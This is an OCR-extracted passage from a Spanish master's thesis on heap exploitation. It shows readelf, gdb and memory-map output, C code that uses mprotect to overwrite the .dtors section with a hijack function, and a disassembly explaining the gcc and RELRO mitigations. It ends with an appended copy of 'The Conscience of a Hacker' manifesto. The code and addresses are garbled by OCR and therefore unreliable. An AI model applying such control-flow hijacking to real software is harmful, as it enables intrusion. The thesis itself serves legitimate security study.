[18] .dtors PROGBITS 08049£f18 000£f18 00000c 00 WA O 0o 4
newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$

Cédigo 68. readelf del destructor

La herramienta readelf muestra que la seccién .dtors empieza en la direccién
0x08049f18 y tiene un tamano de Oxc bytes. Todo cuadra hasta el momento, la
direccion de la seccién es correcta y ocupa 12 bytes que son los tres conjuntos de 4
bytes de los que se hablaba anteriormente. Sin embargo, con las letras WA, readelf
declara que dicha pagina de memoria tiene, entre otros, permisos de escritura, cosa
que contradice la hipotesis que se ha realizado anteriormente.

A la luz de estos datos, y partiendo de la base de que lo mas plausible sigue
siendo que la pagina de memoria no tenga los permisos de escritura, se realiza otra
comprobacion. Mientras el ejecutable se depura con gdb, se obtendra su identificador
de proceso y se consultard su mapa de memoria. A continuacion se muestra el proceso
a seguir. Lo primero a realizar es depurar el ejecutable y mantenerse detenido en
cualquier punto de ejecucion mediante un breakpoint:
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newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ gdb -q destructor

Leyendo simbolos desde /home/newlog/Documents/TFM/Heap/heap_exploiting/codes/destructor
...hecho.

(gdb) b main

Punto de interrupcién 1 at 0x80483fd: file destructor.c, line 8.

(gdb) r

Starting program: /home/newlog/Documents/TFM/Heap/heap_exploiting/codes/destructor

Breakpoint 1, main () at destructor.c:8
8 printf ("Primero se ejecuta el main.\n");
(gdb)

Cédigo 69. Depuracion del Codigo

A continuacién se obtiene el PID del proceso y se consulta su mapa de memoria:

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ ps axu | grep destructor

newlog 32457 0.1 0.7 14916 7304 pts/1 S+ 07:21 0:00 gdb —gq destructor

newlog 32459 0.0 0.0 1684 244 pts/1 t 07:21 0:00 /home/newlog/Documents/
TFM/Heap/heap_exploiting/codes/destructor

newlog 32465 0.0 0.0 4056 772 pts/0 S+ 07:22 0:00 grep —--color=auto

destructor
newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ cat /proc/32459/maps
00110000-0012c000 r—xp 00000000 08:01 655474 /1ib/1d-2.12.1.s0
0012c000-0012d000 r—-p 0001b000 08:01 655474 /1ib/1d-2.12.1.s0
0012d000-0012e000 rw—-p 0001c000 08:01 655474 /1ib/1d-2.12.1.s0
0012e000-0012£000 r—-xp 00000000 00:00 O [vdso]
0012£000-00286000 r—-xp 00000000 08:01 655498 /1ib/libec-2.12.1.s0
00286000-00287000 ——-p 00157000 08:01 655498 /1lib/libec-2.12.1.s0
00287000-00289000 r——p 00157000 08:01 655498 /1ib/libec-2.12.1.s0
00289000-0028a000 rw—-p 00159000 08:01 655498 /1ib/libe-2.12.1.s0
0028a000-0028d000 rw—p 00000000 00:00 O
08048000-08049000 r—xp 00000000 08:01 919806 /home/newlog/Documents/TFM/Heap/
heap_exploiting/codes/destructor
08049000-0804a000 r—-p 00000000 08:01 919806 /home/newlog/Documents/TFM/Heap/
heap_exploiting/codes/destructor
0804a000-0804b000 rw-p 00001000 08:01 919806 /home/newlog/Documents/TFM/Heap/

heap_exploiting/codes/destructor
b7££0000-b7££1000 rw-p 00000000 00:00 O
b7££e000-b8000000 rw—p 00000000 00:00 O
bf£fdf000-c0000000 rw-p 00000000 00:00 O [stack]
newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$

Codigo 70. Mapa de memoria del ejecutable

Tal y como se puede ver a partir de la herramienta ps, el PID del ejecutable
destructor es 32459. A continuacion se consulta su mapa de memoria a partir del
archivo maps y, para sorpresa del lector, se podra ver como el rango de direcciones
de memoria de 08049000-0804a000, que es donde esté ubicada la seccion .dtors, tiene
los permisos r—p, con lo que se demuestra, tal y como se habia hipotetizado, que no
se tienen permisos de escritura en dicha regién de memoria.

El porqué de este comportamiento esta detallado en la referencia bibliografica
[22]. Se debe a una medida de seguridad llamada RELRO, RELocation Read-Only.
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La solucién a este problema pasa por asignarle permisos de escritura a la pagina
de memoria que contiene la seccion .dtors. A tal efecto, el Cddigo [71] bastara.

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>

void destructor (void) _ attribute_  ((destructor));
void hijack (void);

int main (void) {

printf ("Primero se ejecuta el main.\n");
printf ("Despues, salta a 0x%x\n", (unsigned int) &destructor);

/% Obteniendo el tamano de pagina de memoria del sistema #*/
int pagesize = sysconf (_SC_PAGE_SIZE);
if ( pagesize == -1) {

perror ("[-] Page size could not be obtained");

exit (EXIT_FAILURE) ;

/#* Poniendo permisos de escritura en la seccion .dtors #*/
mprotect ( (voidx) 0x8049000, pagesize, PROT_WRITE) ;

unsigned int x dtr_section = (unsigned int ) (0x8049f18 + 0x4);
+*dtr_section = (unsigned int) &hijack;

return 0O;

void destructor (void) {
printf ("Y se ejecuta destructor.\n");

void hijack (void) {
printf ("Hijack\n");

Codigo 71. Sobrescribiendo la seccién .dtors

Con la linea 15 se obtiene el tamano de las paginas de memoria del sistema.
Normalmente este valor serd 4096. A continuacion, en la linea 22, de la direccion
de memoria 0x8049000 hasta la direccion 0x8049000 mas el tamano de pagina se les
pone el permiso de escritura. Si se ejecuta dicho codigo se obtiene lo siguiente:
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newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ gcc destructor.c -o destructor
-g

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ ./destructor

Primero se ejecuta el main.

Despues, salta a 0x8048544

Hijack

Cédigo 72. Sobrescritura realizada

Como se puede ver, la ultima linea en escribirse es "Hijack” que es el cédigo de
la funciéon hijack (), cédigo con el cual se ha sustituido el codigo de la funcién
destructor a partir de modificar la seccién .dtors.

Como nota final, cabe destacar otra particularidad en cuanto a la sobrescritura

de la seccién .dtors. Desde que esta técnica fue publicada [27], no sélo se ha creado
la técnica RELRO para intentar sufragar dicha vulnerabilidad, sino que también se
ha creado otra estrategia para evitar que se ejecute un destructor si este no se ha
declarado en el momento de compilacion.
Antiguamente, era posible ejecutar un destructor aun cuando este no habia sido
declarado en el cédigo fuente. La técnica se basaba en sobrescribir los bytes finales -
00000000 - de la seccién .dtors, a diferencia de lo que se ha realizado anteriormente,
dénde se ha sobrescrito la direccién del destructor y no el final de la seccion. La
sobrescritura del final de la secciéon .dtors enganaba al sistema y aunque la seccién
.dtors no tuviera el formato adecuado - empezando con cuatro bytes a 1 y acabando
con cuatro bytes a 0 - el codigo ubicado en la direccién con la que se acababan de
sobrescribir los ultimos cuatro bytes a 0 se ejecutaba sin ningin problema.

En cambio, actualmente si se intenta sobrescribir la secciéon .dtors de un cédigo
que no tenga declarado un destructor, la ejecucién del codigo destructor fraudulento
serd inviable. En el Cédigo|73|se muestra un cédigo sin un destructor declarado, y en
el Codigo [74] se muestra como, a diferencia de lo que se ha mostrado anteriormente,
esta vez no se ejecuta el codigo de la funcién hijack ().

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void hijack (void) ;
int main (void) {
printf ("Primero se ejecuta el main.\n");
/+ Obteniendo el tamano de pagina de memoria del sistema #*/

int pagesize = sysconf (_SC_PAGE_SIZE);
if ( pagesize == -1) {
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perror ("[-] Page size could not be obtained");
exit (EXIT_FAILURE) ;

/* Poniendo permisos de escritura en la seccion .dtors #*/
mprotect ( (voidx) 0x8049000, pagesize, PROT_WRITE) ;

unsigned int x dtr_section = (unsigned int ) (0x8049f18 + 0x4);
*dtr_section = (unsigned int) &hijack;

return 0;

void hijack (void) {
printf ("Hijack\n") ;

Cédigo 73. Sobrescribiendo la seccién .dtors sin un destructor declarado

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ gcc sin_destructor.c -o
sin_destructor -g

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ ./sin_destructor

Primero se ejecuta el main.

Codigo 74. Sobrescritura no realizada

Como se puede ver, la linea ”Hijack” ya no se muestra por pantalla, lo que significa
que la seccion .dtors no se ha sobrescrito.
Esto se debe a que en algtin momento de su historia, el compilador gec anadié una
directiva nueva en la funcién que se encargaba de ejecutar los destructores. El Codigo
[75] muestra las instrucciones de dicha funcién.

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$ objdump -M intel -d --start-
address=0x08048400 —--stop-address=0x8048459 sin_destructor

sin_destructor: file format elf£32-i386

Disassembly of section .text:

08048400 <__do_global dtors_aux>:

8048400: 55 push ebp

8048401: 89 e5 mov ebp, esp

8048403: 53 push ebx

8048404: 83 ec 04 sub esp, 0x4

8048407: 80 3d 24 a0 04 08 00 cmp BYTE PTR ds:0x804a024, 0x0

804840e: 75 3f jne 804844f <_ do_global_ dtors_aux+0x4£f>
8048410: al 28 a0 04 08 mov eax,ds:0x804a028

8048415: bb 20 9f 04 08 mov ebx, 0x8049£20

804841a: 81 eb 1lc 9f 04 08 sub ebx, 0x8049flc

8048420: cl fb 02 sar ebx, 0x2

8048423: 83 eb 01 sub ebx, 0x1

8048426: 39 d8 cmp eax, ebx

8048428: 73 1le jae 8048448 <_ do_global dtors_aux+0x48>
804842a: 8d b6 00 00 00 00 lea esi, [esi+0x0]

8048430: 83 c0O 01 add eax, O0x1

8048433: a3 28 a0 04 08 mov ds:0x804a028, eax

8048438: ff 14 85 1lc 9f 04 08 call DWORD PTR [eax*4+0x8049flc]
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804843f: al 28 a0 04 08 mov eax,ds:0x804a028

8048444: 39 d8 cmp eax, ebx

8048446: 72 e8 jb 8048430 <__do_global_dtors_aux+0x30>
8048448: c6 05 24 a0 04 08 01 mov BYTE PTR ds:0x804a024, 0x1

804844f: 83 c4 04 add esp, 0x4

8048452: 5b pop ebx

8048453: 5d pop ebp

8048454: c3 ret

8048455: 8d 74 26 00 lea esi, [esiteizx1+0x0]

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes$

Cédigo 75. Desensamblado de __do_global_dtors_aux

Las instrucciones relevantes son las siguientes:

8048410: al 28 a0 04 08 mov eax,ds:0x804a028

8048415: bb 20 9f 04 08 mov ebx, 0x8049£f20

804841a: 81 eb 1lc 9f 04 08 sub ebx, 0x8049flc

8048420: cl fb 02 sar ebx, 0x2

8048423: 83 eb 01 sub ebx, Ox1

8048426: 39 d8 cmp eax, ebx

8048428: 73 le jae 8048448 <__ _do_global_dtors_aux+0
x48>

Cédigo 76. Instrucciones relevantes en __do_global dtors_aux

Debido al cédigo anterior y al flujo de ejecucion, la primera linea del Cédigo
hace que en el registro eax se almacene un 0. En la linea 2, en ebr se almacena la
direccién final de la seccién .dtors con lo que gracias a la resta de 0x8049flc en la
linea 4, que es el inicio de la seccion .dtors se obtiene el tamano de dicha seccién.
Destacar que el tamano de la seccién .dtors sin almacenar ningin destructor es de 4
bytes, debido al formato comentado anteriormente.

En la linea 5, el contenido de ebx, que es el tamano de la seccion .dtors + 4, se divide
entre 4. Debido a que en una arquitectura de 32 bits los punteros a funciones ocupan
4 bytes, con esta division se obtendra el niimero de punteros a funciéon que existen
en la seccion .dtors mas uno, o sea, el nimero de destructores mas uno.

A continuacién, para obtener el nimero real de destructores, se le resta 1 al registro
ebz.

Con la linea 6, se compara el resultado de ebxr con eax, si son iguales, o sea, si su
contenido es 0, se salta al final de la funcién _ do_global_dtors_aux, con lo
que ningun destructor es ejecutado.

De este modo se evita la ejecucion de destructores si no estan declarados en el
codigo fuente.

Debido a todas estas medidas de seguridad aplicadas con el paso de los anos, los
articulos que tratan la sobrescritura de la seccién .dtors, siempre y cuando no tengan
en cuenta estos detalles, han quedado totalmente obsoletos.
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The following was written shortly after my arrest...
The Conscience of a Hacker
by

+++The Mentor+++

Another one got caught today, it’s all over the papers. "Teenager
Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
Damn kids. They’re all alike.

But did you, in your three-piece psychology and 1950’s technobrain,
ever take a look behind the eyes of the hacker? Did you ever wonder what
made him tick, what forces shaped him, what may have molded him?

I am a hacker, enter my world...

Mine is a world that begins with school... I'm smarter than most of
the other kids, this crap they teach us bores me...

Damn underachiever. They’re all alike.

I’'m in junior high or high school. 1I’ve listened to teachers explain
for the fifteenth time how to reduce a fraction. I understand it. "No, Ms.
Smith, I didn’t show my work. I did it in my head..."

Damn kid. Probably copied it. They’re all alike.

I made a discovery today. I found a computer. Wait a second, this is
cool. It does what I want it to. If it makes a mistake, it’s because I
screwed it up. Not because it doesn’t like me...
Or feels threatened by me...
Or thinks I'm a smart ass...
Or doesn’t like teaching and shouldn’t be here...
Damn kid. All he does is play games. They’re all alike.

And then it happened... a door opened to a world... rushing through
the phone line like heroin through an addict’s veins, an electronic pulse is
sent out, a refuge from the day-to-day incompetencies is sought... a board is
found.

"This is it... this is where I belong..."

I know everyone here... even if I’ve never met them, never talked to
them, may never hear from them again... I know you all...

Damn kid. Tying up the phone line again. They’re all alike...

You bet your ass we’re all alike... we’ve been spoon-fed baby food at
school when we hungered for steak... the bits of meat that you did let slip

through were pre-chewed and tasteless. We’ve been dominated by sadists, or
ignored by the apathetic. The few that had something to teach found us will-
ing pupils, but those few are like drops of water in the desert.

This is our world now... the world of the electron and the switch, the
beauty of the baud. We make use of a service already existing without paying
for what could be dirt-cheap if it wasn’t run by profiteering gluttons, and

you call us criminals. We explore... and you call us criminals. We seek
after knowledge... and you call us criminals. We exist without skin color,
without nationality, without religious bias... and you call us criminals.

You build atomic bombs, you wage wars, you murder, cheat, and lie to us
and try to make us believe it’s for our own good, yet we’re the criminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is
that of judging people by what they say and think, not what they look like.
My crime is that of outsmarting you, something that you will never forgive me

for.

I am a hacker, and this is my manifesto. You may stop this individual,
but you can’t stop us all... after all, we’re all alike.

+++The Mentor+++
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